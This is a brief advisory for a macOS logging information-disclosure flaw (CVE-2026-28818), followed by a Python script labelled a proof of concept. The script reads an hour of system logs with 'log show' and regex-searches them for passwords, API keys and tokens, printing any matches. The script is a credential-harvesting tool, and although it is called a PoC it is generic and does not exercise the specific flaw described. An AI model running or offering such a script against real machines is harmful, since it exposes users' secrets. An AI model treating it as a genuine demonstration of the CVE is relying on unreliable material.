A logging issue was addressed with improved data redaction. This issue is fixed in macOS Sequoia 15.7.5, macOS Sonoma 14.8.5, macOS Tahoe 26.4. An app may be able to access sensitive user data.
The following code is for security research and authorized testing only.
python
import subprocess
import re
# PoC for CVE-2026-28818: macOS Logging Information Disclosure
# This script demonstrates how a malicious app could search for sensitive data in logs.
def check_log_exposure():
print("[*] Checking system logs for unredacted sensitive data...")
# Simulate reading system logs (Note: Requires appropriate permissions on macOS)
# In a real scenario, an attacker would target specific log streams known to be vulnerable.
try:
# Using 'log show' command to fetch recent logs
cmd = "log show --last 1h --style syslog"
result = subprocess.run(cmd, shell=True, capture_output=True, text=True)
if result.returncode == 0:
logs = result.stdout
# Define patterns for sensitive data (e.g., API keys, passwords, tokens)
# This is a generic example; actual patterns depend on the vulnerable application.
patterns = [
r"password\s*=\s*\S+",
r"api_key\s*=\s*\S+",
r"token\s*=\s*\S+"
]
found = False
for pattern in patterns:
matches = re.findall(pattern, logs, re.IGNORECASE)
if matches:
print(f"[!] Potential sensitive data found matching pattern: {pattern}")
for match in matches[:2]: # Print first 2 matches
print(f" - {match}")
found = True
if not found:
print("[-] No obvious sensitive data found in generic log search.")
print("[*] Note: Specific application logs might need to be targeted.")
else:
print(f"[!] Error executing log command: {result.stderr}")
except Exception as e:
print(f"[!] An error occurred: {e}")
if __name__ == "__main__":
check_log_exposure()